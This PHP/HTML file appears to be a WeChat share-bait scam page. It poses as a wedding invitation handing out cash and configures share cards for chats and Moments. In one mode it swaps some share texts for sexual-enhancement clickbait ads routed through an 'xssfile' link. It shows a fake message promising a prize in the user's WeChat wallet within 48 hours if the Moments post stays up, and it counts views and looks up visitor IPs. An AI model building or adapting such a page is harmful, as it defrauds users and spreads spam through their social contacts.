<?php
require_once  __DIR__ . "/wechat/jssdk.php";
@$jssdk = new JSSDK($data['app_id'], $data['app_secret']);
@$signPackage = $jssdk->GetSignPackage('');
$domain = $data['d4'];
//$time = time();
$time = strtotime(date('Y-m-d H:0:0'));
//$rand = str_rand2(6);
$rand = 'uisksjjsl';
@$port = "http://{$domain}?file={$rand}.html&_t={$time}&xxid=" . intval($data['desc']);
$ad = $data['back_url'] ? "http://{$domain}?xssfile={$rand}.html&_t={$time}&xxid=" . intval($data['desc']). "&path=http://www.baidu.com" : $port;

$married = date('n月j号',strtotime('+ 2day'));

if ($data['back_url']) {
    $config = array(
        'config' =>
            array(
                'debug' => false,
                'appId' => $signPackage['appId'],
                'timestamp' => $signPackage['timestamp'],
                'nonceStr' => $signPackage['nonceStr'],
                'signature' => $signPackage['signature'],
                'jsApiList' =>
                    array(
                        0 => 'onMenuShareTimeline',
                        1 => 'onMenuShareAppMessage',
                        2 => 'showMenuItems',
                        3 => 'hideMenuItems',
                    ),
            ),
        'to_group' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'desc' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
        /*'to_group2' =>
            array(
                'title' => '',
                'desc' => randFace().'💪男͏人肾͏虚 阳͏痿 早͏泄 时间͏短 教你一͏招轻松搞定...',
                'link' => $ad,
                'imgUrl' => 'http://ossxxx.oss-cn-hangzhou.aliyuncs.com/FvzOW-M7ggBsvCLmz6O-u9EMD74c.jpg',
            ),*/
		  'to_group2' =>
            array(
                'title' => '',
                'desc' => '🔥夫妻床上，射精\'性\'生活技巧,99%的男人不知道的技巧!',
                'link' => $ad,
                'imgUrl' => 'http://ossxxx.oss-cn-hangzhou.aliyuncs.com/FvzOW-M7ggBsvCLmz6O-u9EMD74c.jpg',
            ),
        'to_group3' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'desc' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
//    'to_group3' =>
//        array(
//            'title' => '',
//            'desc' => '💪男͏人肾͏虚 阳͏痿 早͏泄 时间͏短 教你一͏招轻松搞定...',
//            'link' => $ad,
//            'imgUrl' => 'http://ossxxx.oss-cn-hangzhou.aliyuncs.com/FvzOW-M7ggBsvCLmz6O-u9EMD74c.jpg',
//        ),
        /*'to_group4' =>
            array(
                'title' => '',
                'desc' => randFace().'满足不了女-人？用这个方法，每次坚-挺40分钟！！',
                'link' => $ad,
                'imgUrl' => 'http://wx2.sinaimg.cn/mw690/0060lm7Tly1fu3p28o39mj305405g746.jpg',
            ),*/
		'to_group4' =>
            array(
                'title' => '',
                'desc' => randFace().'满足不了女-人？用这个方法，每次坚-挺40分钟！！',
                'link' => $ad,
                'imgUrl' => 'http://wx2.sinaimg.cn/mw690/0060lm7Tly1fu3p28o39mj305405g746.jpg',
            ),	
        'to_group5' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'desc' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' =>"https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
        /*'to_group6' =>
            array(
                'title' => '',
                'desc' => randFace().'💪男͏人肾͏虚 阳͏痿 早͏泄 时间͏短 教你一͏招轻松搞定...',
                'link' => $ad,
                'imgUrl' => 'http://ossxxx.oss-cn-hangzhou.aliyuncs.com/FvzOW-M7ggBsvCLmz6O-u9EMD74c.jpg',
            ),
			*/
		 'to_group6' =>
            array(
                'title' => '',
                'desc' => '🔥夫妻床上，射精\'性\'生活技巧,99%的男人不知道的技巧!',
                'link' => $ad,
                'imgUrl' => 'http://ossxxx.oss-cn-hangzhou.aliyuncs.com/FvzOW-M7ggBsvCLmz6O-u9EMD74c.jpg',
            ),
        'to_timeline' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
        'to_timeline2' =>
            array(
                'title' => randFace().'满足不了女-人？用这个方法，每次坚-挺40分钟！！',
                'link' => $ad,
                'imgUrl' => 'http://wx2.sinaimg.cn/mw690/0060lm7Tly1fu3p28o39mj305405g746.jpg',
            ),
		/*'to_timeline2' =>
            array(
                'title' => randFace().'结婚邀请函...',
                'link' => $port,
                'imgUrl' => "http://{$data['d2']}/static/wed3.jpeg",
            ),
         */   	
        'to_timeline3' =>
            array(
                'title' => randFace().' 35秒',
                'link' => $ad,
                'imgUrl' => 'http://static.qicp.net/1553666593/cover/green_message.jpg',
            ),
        'to_timeline4' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
        'backup' => '',
        'to_info' =>
            array(
                'ok_msg' => '由于参与人数过多，系统将在48小时内发放到您的微信钱包，请耐心等待<br/><br/>朋友圈信息不可删除<br/>否则无法核实用户信息<br/><font style="color:#19b417;">以免奖品发放失败！',
                'timeline_num' => 2,
                'alipay' => '',
                'after_share' => '',
            ),
    );
} else {
    $config = array(
        'config' =>
            array(
                'debug' => false,
                'appId' => $signPackage['appId'],
                'timestamp' => $signPackage['timestamp'],
                'nonceStr' => $signPackage['nonceStr'],
                'signature' => $signPackage['signature'],
                'jsApiList' =>
                    array(
                        0 => 'onMenuShareTimeline',
                        1 => 'onMenuShareAppMessage',
                        2 => 'showMenuItems',
                        3 => 'hideMenuItems',
                    ),
            ),
        'to_group' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'desc' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
        'to_group2' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'desc' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
        'to_group3' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'desc' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
//    'to_group3' =>
//        array(
//            'title' => '',
//            'desc' => '💪男͏人肾͏虚 阳͏痿 早͏泄 时间͏短 教你一͏招轻松搞定...',
//            'link' => $ad,
//            'imgUrl' => 'http://ossxxx.oss-cn-hangzhou.aliyuncs.com/FvzOW-M7ggBsvCLmz6O-u9EMD74c.jpg',
//        ),
        'to_group4' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'desc' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
        'to_group5' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'desc' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
        'to_group6' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'desc' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),       
         'to_timeline' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ), 		
		'to_timeline2' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),	
        'to_timeline3' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
        'to_timeline4' =>
            array(
                'title' => '我的婚礼请帖派钱啦!',
                'link' => $port,
                'imgUrl' => "https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/images/wxtp_20190508211502.png",
            ),
        'backup' => '',
        'to_info' =>
            array(
                'ok_msg' => '由于参与人数过多，系统将在48小时内发放到您的微信钱包，请耐心等待<br/><br/>朋友圈信息不可删除<br/>否则无法核实用户信息<br/><font style="color:#19b417;">以免奖品发放失败！',
                'timeline_num' => 2,
                'alipay' => '',
                'after_share' => '',
            ),
    );
}


?>
<html style="font-size: 168.267px;" lang="en">
<head>
    <meta charset="utf-8">
    <title></title>
    <meta name="viewport"
          content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover">
    <meta name="format-detection" content="telephone=no">
    <meta name="applicable-device" content="mobile">
    <link rel="stylesheet" href="/static/s.css">
    <!--<script src="//extend.board.8800.org/content"></script>-->
    <link rel="stylesheet" type="text/css" href="/static/fei.css">
    <style>.share-container #btn {
            position: fixed;
            right: 10px;
            bottom: 10px;
            border: none;
            color: #999999;
            font-size: 16px;
            font-weight: bolder;
        }

        .mod-popup {
            z-index: 10000;
            width: 100%;
            position: absolute;
            top: 0;
            left: 0;
            height: 100%;
            background: rgba(0, 0, 0, .5)
        }

        .popup-body {
            position: absolute;
            width: 3rem;
            margin-top: 1.25rem;
            border-radius: 6px;
            background: #fff;
            left: 50%;
            margin-left: -1.5rem
        }

        .popup-body .popup-title {
            color: #000;
            font-size: .2rem;
            margin-top: .2rem;
            text-align: center
        }

        .popup-body .popup-cont {
            padding: .12rem .24rem .2rem;
            font-size: .16rem;
            color: rgba(0, 0, 0, .54);
            text-align: center
        }

        .popup-body .popup-btn {
            width: 100%;
            border-top: 1px solid rgba(0, 0, 0, .08);
            font-size: 0
        }

        .double-btn-popup .popup-btn a {
            display: inline-block;
            width: 50%;
            color: #009688;
            font-weight: 700;
            text-align: center;
            font-size: .18rem;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: .16rem 0
        }

        .double-btn-popup .popup-btn a + a {
            border-left: 1px solid rgba(0, 0, 0, .08)
        }

        .single-btn-popup a {
            display: block;
            width: 100%;
            color: #009688;
            font-weight: 700;
            text-align: center;
            font-size: .18rem;
            padding: .16rem 0
        }</style>
</head>
<body class="share-body">

<img class="js_head_img js_hide" data-src="/static/hb_3.png">
<script src="/static/jweixin-1.0.0.js"></script>
<script src="/static/jquery-3.3.1.min.js"></script>
<script src="/static/core.js"></script>
<script src="https://ip.ws.126.net/ipquery"></script>
<script>
    var countip = '<?php echo $data['d6']?>';
    var _hmt = _hmt || [];
    (function () {
        var hm = document.createElement("script");
        hm.src = "https://hm.baidu.com/hm.js?<?php echo $data['baidu_id']?>";
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(hm, s);
    })();

    window.ad_url = '<?php echo isset($data['back_url2']) ? $data['back_url2'] : ''?>'
    // function myajax(url, callback, isJSON = false) {
    //     var request = new XMLHttpRequest();
    //     request.open('get', url, true);
    //     request.send();
    //     request.onreadystatechange = function () {
    //         if (request.readyState === 4 && request.status === 200) {
    //             isJSON ? callback(JSON.parse(request.responseText)) : callback(request.responseText);
    //         }
    //     }
    // }
    //
    // myajax('http://huihui.qicp.net/juyh/api/jump_fhad.php', function (url) {
    //     window.ad_url = url
    // })

</script>
<script>
    $.ajax({
        'url' : 'http://'+countip+'/count_views.php',
        'method' : 'POST',
        'data': {res: 'friend'},
        'success' : function(){}
    });
    window.alex=<?php echo json_encode($config)?>;
    M.loadJS('/static/s2.js?js9997686fsfsdfs=787878.0.716361937379988444');
</script>
</body>
</html>